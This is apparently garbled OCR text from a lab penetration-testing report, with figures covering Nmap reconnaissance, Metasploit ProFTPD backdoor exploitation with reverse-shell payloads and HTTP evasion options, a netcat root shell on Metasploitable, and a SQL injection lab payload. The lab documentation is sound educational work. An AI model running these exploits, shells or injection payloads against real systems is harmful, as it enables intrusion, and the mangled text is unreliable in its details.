Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux psradminenetasploitable:™§ i

Nmap: 0S CPE: cpe:/o:linux:linux kernel:2.6

BorSsEEEN @0x

Nmap: Host script results:
] Nmap: | clock-skew: me 1s, deviation: @s, median: 1s
Nmap: ms-sql-info: ERROR: Script execution failed (use -d to debug)
] Nmap: |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) Vireless LAN W
Nmap: | smb-os-discovery: ERROR: Script execution failed (use -d to debug)
1 Nmap: smb-security-mode: ERROR: Script execution failed (use -d to debug)
] Nmap: | smb2-time: Protocol negotiation failed (SMB2)
Nmap: TRACEROUTE
Nmap: HOP RTT ADDRESS
Nmap: 1  19.39 ms 10.86.5.3
] Nmap: 05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 117.07 seconds
nsfs = |

|
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Figure 28: Db_nmap -A command from Kali to AWS VPC 3




Machine Help
@ Kali2019 [Running] - Oracle VirtualBox
File Machine  View Input  Devices Help

Applications = Places ~ [E] Terminal ~ Wed12:46

root @osboxes: ~
D Preview

View Search Terminal Help
] Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Nmap: MAC Address: ©8:00:27:2B:54:03 (Oracle VirtualBox virtual NIC)
Nmap: Device type: general purpose
Nmap: Running: Linux 2.6.X
] Nmap: 0S5 CPE: cpe:/o:linux:linux kernel:2.6
Nmap: 0S details: Linux 2.6.9 - 2.6.33 clp.ubuntu.cons
] Nmap: Network Distance: 1 hop
1 Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kerne

Machine  View  Input  Devices  Help

vitable
loitable:™
able:™ config

Link encap hernet HWadde 08:00:27:2b:54:d3
clock-skew: mean: 1s, deviation: @8s, median: 1s inet addr:10.86.5.3 Bcast:10.86.255.255 Mask:255.255.0.0
ms-sql-info: ERROR: Script execution failed (use -d to debug) inetb addr: feB0::a00:27ff :felb:54d3,64 Scope:Link
nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) UP BROADCAST RUNNING MULTICAST HTU:1500 Met 1
smb-os-discovery: ERROR: Script execution failed (use -d to debug) RX packets:173 errors:0 dropped:0 overruns:0 frane:0
smb-security-mode: ERROR: Script execution failed (use -d to debug) TX pachota:77 errors:@ dropped:0 ovcrrunz:@ carrier:
collisions:® txqueuelen:1000
RX byt :18994 (18.5 KB) TX byte 816 (7.6 KB)
Base address:0xd0Z0 Memory:fo, 00010220000

3
3
] Nmap: Host script results: X
Nmap:
*] Nmap:
Nmap:
Nmap:
Nmap :
Nmap: | smb2-time: Protocol negotiation failed (SMB2)
Nmap: TRACEROUTE
*] Nmap: HOP RTT ADDRESS
Nmap: 1  19.33 ms 10.86.5.3 Link encap:Local Loopback
Nmap: 05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . inet addr:127.0.0.1 Hask:25'
*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 117.87 seconds ineth addr: ::1,128 Scope:Hc
sf5 > search proftpd UP LOOPBACK RUNNING HTU:16436 Hetric:l
RX packets:166 errors:0 dropped:0 overruns:0 frane:0
TX packets:106 errors:0 dropped:0 ou L :
collisions:0 txqueuelen:d

RX bytes:25769 (25.1 KB) TX bytes:25709 (25.1 KB)

Matching Modules

Disclosure Date Rank Description inctasploitable:™5 i

© exploit/freebsd/ftp/proftp _telnet iac 2610-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer 0 B » ﬁ’- ﬂm“umg
verflow (FreeBsp)
1 exploit/linux/ftp/proftp sreplace 2066-11-26 great ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow
{Linux) 2BE Wireless LAN WiFi 6 PCI-E NIC)
2 exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer 0
verflow (Linux)
3 exploit/linux/misc/netsupport manager agent 2011-01-08 average NetSupport Manager Agent Remote Buffer Overfl
ow
4 exploit/unix/ftp/proftpd 133c_backdoor 2010-12-02 excellent ProFTPD-1.3.3c Backdoor Command Execution
5 exploit/unix/ftp/proftpd modcopy exec 2015-04-22 excellent ProFTPD 1.3.5 Mod Copy Command Execution

nsfs > I

|
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Figure 29: Search ftpd from Kali to AWS VPC

Machine Help
File Machine  View Input  Devices

Applications = Places ~ [E] Terminal ~ Wed12:50

root@osboxes: ~

v Search Terminal Help B Preview

> search proftpd
@ AWS VPC [Running] - Oracle VirtualBox
ng Modules
File Machine  View Input Devices Help

# Name Disclosure Date Rank Check Description ethd Link encap:Ethe Héaddr 08:00 :d3
inet addr:10.86.5.3 Bcast:10.86.255 Mask:255.255.0.0
. - e 5 . i ineth addr: feB0::a 7P :fezb:54d3/64 Scope:Link

?1 .exﬂcingfur?ebm ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Bu UF EROADCLET: RINKING Borstians Ruliices stiia
VAT Lo L Re ks 3 . 3 errors:0 droy @ overruns:@ fran

1 exploit/linux/ftp/proftp sreplace 2006-11-26 great Yes ProFTPD 1.2 - 1.3.0 sreplace Buffer Over 5:0 dropped:® overruns:@ carrier:®
(Linux) sions:® txqueuelen:1000

2 exploit/linux/ftp/proftp telnet iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buf 18994 (18.5 KB) TX bytes:7816 (7.6 KB)
verflow (Linux) Base address:@xd020 Memory:f0200000-f0220000

3 exploit/linux/misc/netsupport manager_agent 2611-81-08 average No NetSupport Manager Agent Remote Buffer 0
ow lo Link encap:Local Loopback

4 exploit/unix/ftp/proftpd 133c backdoor 2010-12-02 excellent No ProFTPD-1.3.3c Backdoor Command Executio :““fr“‘?;'l“ E“ 1 F‘"“:”* j"'i‘” 9.9

5 exploit/unix/ftp/proftpd modcopy exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution UF LUGEBECK. RUMLING ”H‘T}‘_““; e Heteior
RX packets:106 errors:0 dropped:0 overruns:0 frame:d
TX packets:106 errors:0 dropped:0 overruns:0 carrier:0
msf5 > use exploit/unix/ftp/proftpd collisions:® txqueuelen:®
use exploit/unix/ftp/proftpd 133c backdoor use exploit/unix/ftp/proftpd modcopy exec RX bytes:25769 (25.1 KB) TX bytes:25709 (25.1 KB)
msf5 > use exploit/unix/ftp/proftpd . ;
use exploit/unix/ftp/proftpd 133c backdoor use exploit/unix/ftp/proftpd modcopy exec x =taxploitakle ‘Tl‘ YRR, ¥ A
sfs > i B - program ‘1’ is cur y not installed ou can install it by typing
msfs > use exp\u.t/unlx/ftp/pwoftpd sudo apt-get install ipri
use exploit/unix/ftp/proftpd 133c_backdoor use exploit/unix/ftp/proftpd madcopy exec bisht 1 coma
msfs > use exploit/unix/ftp/proftpd_ nsfadninGne
use exploit/unix/ftp/proftpd 133c backdoor use exploit/unix/ftp/proftpd modcopy exec

nsfs > use exploit/unix/ftp/proftpd_133c_backdoor
msf5 exploit( b 5or) > set RHOST 10.86.5.3 BOoRF/MEEN @0x
RHOST => 10.86.5.3
msf5 exploit( ) = exploit
fireless LAN W
[*] Started reverse TCP double handler on 10.86.0.51:4444
I 18.86.5.3:21 - Sending Backdoor Command
[*] Exploit completed, but no session was created.
msfs exploit( ) > use exploit/unix/Ttp/proftpd modcopy exec
nsf5 exploit( ) = exploit

Exploit failed: The following options failed to validate: RHOSTS.
[*] Exploit completed, but no session was created.
msfs exploit( jis

: > BOESF,L/EOMY &Orohtcr
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Figure 30: Exploiting a vulnerable Proftpd service from Kali to AWS VPC

Figure 30 shows how an attacker could use a known weakness in the Proftpd service to gain access.
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File Machine  View Input  Devices

Applications = Places ~ [E] Terminal ~ Wed12:52

root@osboxes: ~

File Edit View Search Terminal Help O Preview

Unknown command: ipconfig.
msf5 exploit( ) » set LHOST 10.86.0.51
LHOST => 10.86.6.51
nsfs exploit( ) > evasion
Unknown command: evasion.
nsfs exploit( ) > show evasion Link encap:Ethernet HWaddr 08:00 k]
inet addr:10.86.5.3 Bcast:10.86.255 Nask
ineth addr: feB0::a00:Z7Ff fe2b:54d3/64
UP BROADCAST RUNNING HULTICAST HTU:1500
RX packets:173 errors:@ droy @ overru
TX packets:?77 5:0 dropy ) overruns:
- = collisions:0 txqueuelen:1000
HTTP: :header folding false Enable folding of HTTP headers RX bytes:18994 (18.5 KB) TX bytes: 7816 (7.6 KB)
method_random_case false Use random casing for the HTTP method Base address;:Oxd: Menory : 02000001 0220000
metheod_random_invalid false Use a random invalid, HTTP method fer request
method_random_valid false use a random, but valid, HTTP method for request Link encap:local Loopkack
fake headers false Insert random, fake headers into the HTTP request "“‘:fr“‘c}" 127 E“ Maszk GU\U 9,9
HTTP::pad_fake headers count @ How many fake headers to insert into the HTTP request UF LOGPEACE BiNHInG ROMTS649E  Hotstori
HTTP::pad get params false Insert random, fake query string variables into the request RX packets:186 errors:® dropped:0 overruns:0 f
HTTP: :pad_get_params_count 16 How many fake query string variables to insert into the request TX packets:166 errors:0 dropped:0 overruns:0 carri
HTTP::pad method uri count 1 How many whitespace characters to use between the method and uri collisions:® txqueuelen:@
method uri type space What type of whitespace to use between the method and uri (Accepted: sp RX bytes:25769 (25 KB) TX bytes:25709 (25.1 KB)
apache)
HTTP: :pad_post_params false Insert random, fake post variables into the request
16 How many fake post variables to insert into the request
1 How many whitespace characters to use between the uri and version
HTTP::pad uri_version type  space what type of whitespace to use between the uri and version (Accepted: s
pace, tab, apache) 3
P::uri_dir_fake_relative false Insert fake relative directories into the uri
uri dir self reference false Insert self-referential directories into the uri BOokrgSsEEEN @Hr,
::uri_encode mode hex-normal Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-ran
all, u-normal, u-all, u-random)
uri fake end false Add a fake end of URI (eg: /%2@HTTP/1.0/ 1) 2BE Wireless LAN WiFi 6 PCI-E NIC)
uri_fake_params_start false Add a fake start of params to the URI (eg: /%3fa=b/../)
suri_full_url false Use the full URL for all HTTP requests
uri use backslashes false Use back slashes instead of forward slashes in the uri
version random invalid false Use a random invalid, HTTP version for request
version random valid false Use a random, but valid, HTTP version for request
ax_send size ] Maxiumum tcp segment size. (@ = disable)
::send_delay ] Delays inserted before every send. (0 = disable)

Machine  View  Input  Devices  Help

Module evasion options:

Name Current Setting Required Description

installed. You can install it by tuping

nsfs exploit(

| |
BOoRGsMOMmS & Drightcr

E;stf'/ Hear % B o Mm ﬂ “» o 025[:’5(‘2(17;2
Figure 31: Evasion techniques from Kali to AWS VPC

Figure 31 demonstr ic evasion techniques are used from Kali to communicate with AWS while avoiding
obvious detection.

@ Kali2019 [Running] - Oracle VirtualBox
File Machine View Input Devices

Applications v Places v [ Terminal = Wed12:53
root@osboxes: ~

File Edit Search Terminal Help

msfs exploit( set HTTP::headerInterrupt: use the 'exit' command to quit B Preview
msf5 exploit( set HTTP::header folding true
HTTP: :header folding => true
msf5 exploit(
msf5 exploit(
msf5 exploit( Machine View Input Devices Help
msf5 exploit( show evasion Link encap:Ethernet HUaddr 08:00:27:2
inet addr:10.86.5.3 Bcast:16.86,255
Module evasion options ineth addr: feB0::a00:27ff:fe2b:54d3,64 Scope:L
UP BROADCAST RUNNING MULTICAST MTU:1500
Name Current Setting Required Description $:17 s:0 dropped 0 overruns:
z SRR S SlEiEEea s s:0 dropped:0 ouerruns:0 carrie
HTTP: :header folding true no Enable folding of HTTP headers Islone:. Loruentlen; 1006 =
HTTP: :method randem case false no Use random casing for the HTTP method 'n“‘ bytasidfooe, (18.5.k8)  IX Hytés:2016 (706 KN
ase address:0xd020 Menory:f9200000-F0220000
HTTP: :method_random invalid  false no Use a random invalid, HTTP method for request
HTTP: :method random valid false no Use a random, but valid, HTTP method for request Link encap:Local Loapback
HTTP::pad_fake headers false no Insert random, fake headers into the HTTP request inct addr:127.0.0.1
HTTP: :pad_fake headers count @ no How many fake headers to insert into the HTTP request ineth addr: 1,128 Scope:
HTTP: :pad_get params false no Insert random, fake query string variables into the request UP LODFBACK RUNNING NTU:16436 Hetric:1
] HTTP: :pad_get_params_count 16 no How many fake query string variables to insert into the reguest RX packets:106 errors:0 dropped 0 overruns:0 frame:@
HTT pad method uri count - 3 no How many whitespace characters to use between the method and uri “1?*"“’ s.éub crrul:g.orgrnppcd 0 overruns:0 carrier:0
@ HTTP: :pad_method uri type space no what type of whitespace to use between the method and uri (Accepted: sp e ‘_Jl‘;“_:*j‘},m"“":‘,:\ B R bytes 25709 (25.1 KB)
ace, tab, apache)
HTTP: :pad_post_params false Insert random, fake post variables into the request inctasploitable:§ i
< HTTP::pad_post _params_count 16 How many fake post variables to inmsert into the request am 'i' is currently not installed. You can install it by typing
HTTP::pad_uri_version_count 1 How many whitespace characters to use between the uri and version get install iprint
HTTP: :pad uri version type space what type of whitespace to use between the uri and version (Accepted: s connand not found
&8 pace, tab, apache) inctasploitable:”$
HTTP::uri dir fake relative false Insert fake relative directories into the uri nctazploitalle:zsisct LHOSE
HTTP::uri dir self reference false Insert self-referential directories into the uri BoRGsmEBES S8R0
HTTP: :uri_encode_mode hex-normal Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-ran
dom, hex-all, u-normal, u-all, u-random)
HTTP: turi fake end false Add a fake end of URI (eg: /%20HTTP/1.6/../../) 2BE Wireless LAN WiFi 6 PCI-E NIC)
::uri_fake params_start false Add a fake start of params to the URI (eg: /%3fa=b/../)
suri_full_url false Use the full URL for all HTTP requests
uri_use backslashes false Use back slashes instead of forward slashes in the uri
version_random invalid false Use a random invalid, HTTP version for request
HTTP: :version random valid false Use a random, but valid, HTTP version for request
TCP::max_send size ] Maxiumum tcp segment size. (@ = disable)
TCP::send_delay ) Delays inserted before every send. (@ = disable)
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Figure 32: HTTP Header Test and Evasion from Kali to AWS VPC




Figure 32 portraits, sending HTTP headers from Kali to AWS, and using simple evasion techniques to simulate.
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File Machine View Input Devices

File

Applications = Places ~ [ Terminal ~ Wed12:55
root @osboxes: ~
File Edit View arch  Terminal
ace, tab, apache)
HTTP: :pad_post _params false no Insert random, fake post variables into the request = Preview
HTTP::pad post params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version g S
HTTP::pad uri version type space no What type of whitespace to use between the uri and version (Accept( @ AWSVPC[Running] - Oracle VirtualBox
pace, tab, apache) Z
HTTP::uri dir fake relative false no Insert fake relative directories into the uri File Machine View Input Devices Help
:uri dir self reference false no Insert self-referential directories into the uri etho Link encap:Ethernet Hdaddr 08:00 :d3
uri_encode mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, he: inet addr:10.86.5. Bcast:10.86.255 Mask:255.255.0.0
-all, u-normal, u-all, u-random) ineth addr: fe80::ab0:27ff :fe2b:54d3,64 Scope:Link
uri fake end false no Add a fake end of URL (eg: /%26HTTP/1.8/../../) UP BROADCAST RUNNING HULTICAST HTU:1500
uri_fake params_start false na Add a fake start of params to the URI (eg: /%3fa=bs../) ackets:173 err
suri_full url false no Use the full URL for all HTTP requests
uri_use backslashes false no Use back slashes instead of forward slashes in the uri
version_random_invalid false no Use a random invalid, HTTP version for reguest
version random valid false no Use a random, but valid, HTTP versien for request
::max_send size [c] no Maxiumum tcp segment size. (8 = disable) Link encap:Local Loopback
TCP::send delay ] no Delays inserted before every send. (6 = disable) inet addr:127.0 Hask:255.0.0.8
inet6 addr: ::i/ Scope :Host
msfs exploit( ) > show payloads UP LOOPBACK RUNNING HTU:16436 Hetric:l
1] RX packets:106 errors:0 dropped:0 overruns:0 fra
TX packets:106 errors:0 dropped:0 overruns:0 carri
collisions:0 txqueuelen:d
RX bytes:25769 (25.1 KB) TX bytes:25709 (25.1 KB)

0 txqueuelen:1000
18994 (18.5 KB) TX bytes: 7816 (7.6 KB)
Base address:0xd020 Memory: f0200000-f 0220000

Compatible Payloads

Rank Check Description N loitable:~$ i
- program '1' is currently not installed. You can install it by tuping
cmd/unix/bind normal No Unix Command Shell, Bind TCP (via AWK) sudo apt-get install iprint
cmd/unix/bind perl normal No Unix Command Shell, Bind TCP (via Perl) bash: i: conn
emd/unix/bind perl_ipvé normal No unix Command Shell, Bind TCP (via perl) IPV6 nsfadnin@ne
cmd/unix/generic normal Ne Unix Command, Generic Command Execution nsfadninenet -t LHDSt_
cmd/unix/reverse awk normal No Unix Command Shell, Reverse TCP (via AWK) BOoEGs/EEEN @0R0
cmd/unix/reverse perl normal No unix Command Shell, Reverse TCP (via Perl)
emd/unix/reverse perl ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse python normal No Unix Command Shell, Reverse TCP (via Python)
normal No Unix Command Shell, Reverse TCP SSL (via python)

msf5 exploit( ) > set payload cmd/unix/reverse python ssl
payload => cmd/unix/reverse python ssl
msf5 exploit( ) > exploit

Exploit failed: The following optiens failed to validate: RHOSTS.
[*] Exploit completed, but no session was created
msfs exploit( ) =1

| |
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Figure 33: Payload Configuration and Exploitation from Kali to AWS VPC

Figure 33 shows a test payload is selected and used to see how an attacker could gain access to a target system.
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:~# nc 10.86.5.3 1524
root@netasploitable:/# who
msfadmin ttyl
root pts/e o
root@metasploitable:/# uname -a Machine View Input Devices Help
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:08 UTC 2088 1686 GNU/Linux Link encap:Ethernet Haddr 0B:00:27:2b:54:43
root@metasploitable:/# inet addr:10.86.5.3 Bcast:10.86.255.255 Mask:255.255.0.0
ineth addr: feB0::ad0:27ff:fe2b:54d3,64 Scope:Link
UP BROADCAST RUNNING MULTICAST MHTU:1500 HMetric:1
RX packets:173 errors:0 dropped:0 overruns:0 frane:@
TX packets:?? errors:0 dropped:0 overruns:0 carricr:
collisions:0 txqueuelen:1000
RX bytes:18994 (18.5 KB) 11X bytes:7816 (7.6 KB)
Base address:0xd020 Menory:f0200000-10220000

Link encapiLocal Loapback
inet addr:127.0.0.1 Mask:255.0.0.0

ineth addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING NTU:16436 Metric:l

RX packets:106 errors:0 dropped:0 overcuns:0 frane:@
X packetsi10b errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:®

RX bytes:25709 (25.1 KB) TX bytes:25709 €25.1 KBY

emetasploitable:~§ i
ran 'i' is currently not installed. You can install it by typim
t install
onmand not f
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Figure 35: Netcat connection and system verification from Kali to AWS VPC




Figure 35 shows connecting to the target using Netcat and running basic commands to confirm access and system
details in the lab.
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Figure 36: Ping test from Kali to R&D AD

According to Figure 36 a successful ping from the Kali machine to the R&D AD.
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— File Machine View Input Devices Help

File Edit View Search Terminal Help Administrator: Windows PowerShell
# nmap -0 10.86.9.40 windows FowerShe:
Starting Nmap 7.80 ( https://nmap.org ) at 2625-12-89 11:45 EST DEYELONELE) 2OENRICEEOFL (Coeoncatjon G AT Ciutits e esenved
WARNING: No targets were specified, so @ hosts scanned. C:\Users\Administrator> ifconfig
Nmap done: © IP addresses (8 hosts up) scanned in 9.6 seconds
# nmap -0 10.86.9.40

starting Nmap 7.8 ( https://nmap.org ) at 2025-12-89 11:46 EST
Nmap scan report for 10.86.9.40
Host is up (0.0022s latency).
Not shown: 982 closed ports 7S C:\Users\Adwinistrator> ipconfig
PORT STATE SERVICE ndows IP Configuration
53/tcp open domain
88/tcp open kerberos-sec adapter Ethernet:
135/tcp  open msrpc ’ ‘
139/tcp  open netbios-ssn Link 23 T ... 1 : feB0::215b:dbal:5d0s :cB9bX12
389/tcp open ldap 1oy 197.168.6.3
445/tcp  open microsoft-ds
464/tcp  open kpasswd5
593/tcp  open http-rpc-epmap
636/tcp open ldapssl Media State S aace atw Media disconnected
3268/tcp open globalcatLDAP o Sompech i spa i
3269/tcp open globalcatLDAPssl
49152/tcp open unknown
49153/tcp open  unknown
49154/tcp open unknown
49155/tcp open  unknown onnection-specific ONS 5 al :
49157 top opan: Unkriown Tocal 1pvé Address . . : fe80: :213bidbali5d0s 1cagbn12
49158/tcp open  unknown
49159/tcp open unknown
MAC Address: 08:00:27:A1:3F:98 (Oracle VirtualBox virtual NIC) nel adapter isatap.uni.local:
Device type: general purpose Redia state i : Media disconnected
Running: Microsoft Windows 7|2012|8.1 Connection-specific DNS Suffix . : uni.loca
05 CPE: cpe:/o:microsoft:windows 7:::ultimate cpe:/o:microsoft:windows 2012 cpe SceXAdine citors Tpccatio
:/o:microsoft:windows 8.1
0S details: Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1
Network Distance: 1 hop

: 255.255.255.0

el adapter isatap.{0355E109-E878-49AB-9683-DEES2222946F} 1

rdows IP Configuration

et adapter Ethernet:

05 detection performed. Please report any incorrect results at https://nmap.org
/submit/
Nmap done: 1 IP address (1 host up) scanned in 3.28 seconds
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Figure 37: Operating system detection scan from Kali to Active Directory

Figure 37 shows the use of Nmap OS detection to identify the operating system of the R&D AD server.
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Nmap done: 1 IP address (1 host up) scanned in 3.28 seconds
~# msfconsole
*+4rTing the Metasploit Framework console...|
* WARNING: Mo database support: could not conmect te server: Connection refused
Is the server running on host "localhost™ (::1) and accepting
TCP/IP connections on port 54327
could not connect to server: Connection refused
Is the server running on host "localhost” (127.8.9.1) and accepting
TCP/IP connections on port 54327 & jows IP Configuration

S Cr\Users\Administrators ifconfig

:\Users\Administrators ipconfig

Ethernet adapter Ethernet:

Connection-specitic NS Suffix . :
Link-Tocal 1°v6 Address . . . . . : Fes0::215b:dbal:5d0s :c89b¥12
IPv4 Addres: 3
Subnet Mack . .
ds,  dsp - Default Gateway L
dap BF d88ssssp nel adapter isatap. {0355E1D9-E878-40AB-9883-DBES222294BF 1
daasase 788 ;
8 88 . abe Media Stat .. Media df ted
dBbdsb.dsp d8838b 788' dBB8bSH dsp 786 B8P B | et casane s Tl
88P' 7P' 7P dBb_,dP 88P dBP' 788 d8P d888Bb Swhi?88b 88b Cr\Users\Administrators ipconfig
dgs  ds 78 88b 86b 68b ,88h ?88,.dssb, dss dsp' 788 88P 78b B e
d88’ d8sb &b’ 78388P" " 78b’ 788P 788" 788 788 88b 88 483
88b deP  88b’ 78888P"
888888P° 88N
Aanp" Connection-specific DN Suffix . : uni.local
s cal 1Pve Address . . . . . i feBd::215brdbal:5dos :cagbal2
A Adr T . 86, 9.40
Subnet Mask
efault Gateway

thernet adapter Ethernet:

1 adapter isatap.uni.local:

Medsa State L .. . i Media disconnected
Connection-specitic DNS Suffix . i uni.local
PS C:\Users\Administrators ipconfig
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Figure 38: Metasploit console access from Kali to R&D AD

Figure 38 Demonstrate Metasploit being used from Kali to interact with the R&D AD
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PS Ci\Users\Administrator» ifconfig

dsp
dsp ds88sssp

d888888P 788"

dsbdsb.d8p d888sb ?788' d888bSb dsp 78b  88P
88P 7P’ 7P d8b_,dP BBP dBP' 788 dBP d88ssb $whi?esb 88b

dés ds 78 88b 88b 88b ,88b 786,.d88b, des dep' 788 88P "78b
d88' dsBb 8b' 78888P' " 78b" 788P 788" 788 788 88b d88 dB88 i acows XE ConFiurataan
8sb dsP 88b’ 78888P"
ABEOBEP  AAn cthernet adapter Ethernet:

(@Ps Ci\Users\administrators> ipconfig

dasp’ Connection-specific DNS Suffi
.. .t feB0::215b:dbal:5d0S  cBOLKI2
192.168.6.3
Subnet Mask . . L.l 255.255.255.0
Default Gateway o

Tunnel adapter isatap.{0355E109-E878-49AB-9883-D8E52222946F )

Media State . : . . : Media disconnected
Connection-specific DNS Suffix . :
PS C:\Users\Admnistrator> ipconfig

windows 1P Configuration

Ethernet adapter Ethernet:

i ) Connection-speciic DN
[ 1914 exploits - 1874 auxiliary - 330 post
=[ 556 payloads - 45 encoders - 18 nops

: t Gatevay e 750
4 =- --=[ 4 evasion

[Tunnel adapter i1satap.uni.lecal:
_ Media State . . . . . : Media disconnected
msf5 > exit Connection-specific DNS Suffix . : umi.local
:~# nmap -A 16.86.9.48 PS5 C:\Users\Admmistrator> 1pconfig
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-89 11:52 EST £

:~# nmap -sn 10.86.9.40
Starting Nmap 7.8@ ( https://nmap.org ) at 2825-12-89 11:58 EST
Nmap scan report for 10.86.9.40
Host is up (0.80195 latency).
MAC Address: ©8:00:27:A1:3F:98 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds
~# 1 12/9,

BORSLSEDTNEN & Driontq

4c 04:59 PM
Cloudy

09-Dec-25
Figure 39: Host discovery scan from Kali to R&D AD

The Figure 39 shows an Nmap ping scan used to confirm that the Active Directory server is online and reachable.
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amap -sV -0 10.86.9.40
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-09 12:29 EST e .
Nmap scan report for 10.86.9.48 £¥ Administrator: Windows |
e B L L B it (3 2015 wicrosoft corparation. AT rights reserved.
. PORT STATE SERVICE VERSTON s C:\Users\Administrators ipconfig
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-10 01:29:08Z)
135/tcp  open msrpc Microsoft Windows RPC
139/tcp  open netbios-ssn Microsoft windows netbios-ssn Connection-specific ONS Suffix i.local
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: Habib.local, Site: Default-First-Site-Name) N Link-local IPv6 Address . . . . . : feB80::215b:dbal:5d0s :c89b12
445/tcp  open microsoft-ds Microsoft Windows Server 2608 R2 - 2012 microsoft-ds (workgroup: HABIB) e adam e 0 255753100
464/tcp  open kpasswd5? Default Gateway B T TR
593/tcp  open ncacn_http Microsoft Windows RPC over HTTP 1.8 rimne] adapter xatiiad Toeals
636/tcp  open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: Habib.local, Site: Default-First-Site-Name) Media State P i Media disconnected
Connection-specific DNS : uni. Tocal
3269/tcp open tcpwrapped PS C:\Users\administrator> _
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open  msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.8
49158/tcp open msrpc Microsaft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at htt
.org/cgi-bin/submit.cgi?new-service
SF-Port53-TCP:V=7.80%1=7%D=12/9%Time=69385C69%P=x86_64-pc-Linux-gnu%r(DNSV
SF:ersionBindReqTCP,20, " \0\x1e\0\x06\x81\x84\0\x01\8\0\0\8\8\6\x87version\
SF:x04bind\0\0\x18\0\X03" ) ;
: MAC Address: 08:00:27:A1:3F:98 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 7|2012|8.1
05 CPE: cpe:/o:microsoft:windows 7:::ultimate cpe:/o:microsoft:windows_2012 cpe:/o:microsoft:windows 8.1
05 details: Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: WIN-GEMHNOBGNES; 0S: Windows; CPE: cpe:/o:microsoft:windows
05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap dene: 1 IP address (1 host up) scanned in 145.83 seconds
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Figure 40: Database service scan using db_nmap from Kali to R&D AD

Highlight in Figure 40, db_nmap is used to identify database services and their versions on the target system.
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05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 hest up) scanned in 145.83 seconds oy -

nmap --script dns-srv enum 10.86.9.40 Administrator: Windows |
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-09 12:33 EST [Windews PowerShe

'NSE:. failed to initialize the script engine:’ opyright (C) 2013 Microsoft Corporation. All rights reserved
'/usr/bin/../share/nmap/nse main.lua:818: 'dns-srv' did not match a category, filename, or directory PS C:\Users\Administrator> ipconfig

‘stack traceback:'

*[€]: in function 'error'’
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49157/tcp open unknown

49158/tcp open unknown

49159/tcp open  unknown

MAC Address: 08:00:27:A1:3F:98 (Oracle virtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds
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Figure 41: DNS service enumeration using db_nmap from Kali to R&D AD

tes db_nmap running a DNS enumeration script to identify available services related to the domain.
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Figure 42: Aggressive database and service scan using db_nmap from Kali to R&D AD 1
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Figure 43: Aggressive database and service scan using db_nmap from Kali to R&D AD 2

The Figure 42 and Figure 43 demonstrates db_nmap performing a detailed, aggressive scan to gather service, version,
and system information during testing.

e From Kali to CI-CD -
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Figure 44: Ping test from Kali to CI-CD

Figure 44 shows a successful ping from the Kali to CI-CD, confirming network connectivity.
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Figure 45: Operating system detection scan from Kali to CI-CD
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Figure 47: Web traffic inspection using Burp Suite - 2
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Figure 48: Web traffic inspection using Burp Suite - 3
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Figure 49: Web traffic inspection using Burp Suite - 4
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Figure 50: Web traffic inspection using Burp Suite - 5
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Figure 51: Web traffic inspection using Burp Suite - 6
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Figure 53: Web traffic inspection using Burp Suite — 8

From Figure 46 to Figure 53 shows Burp Suite being used to intercept and analyze web application requests during

security testing.

39



(1m] portswigger - Search x | Bl Lab:SQL injection vulnerabilityin X [l SQL injection vulnerability in WH' x = ) X

© https://0aaf006d0474ea4a80795db800e60080.web-security-academy.net/filter?category=9%27+0R+1=1--

WebSecurity E](élcli. éﬂjggttlgn vulnerability in WHERE clause allowing retrieval of .
Academy%

Congratulations, you solved the lab! Share your skills! 4 Continue leaming

SHOP ~~

"OR 1=1--

Refine your search:

All Accessories Clothing, shoes and accessories Corporate gifts  Gifts

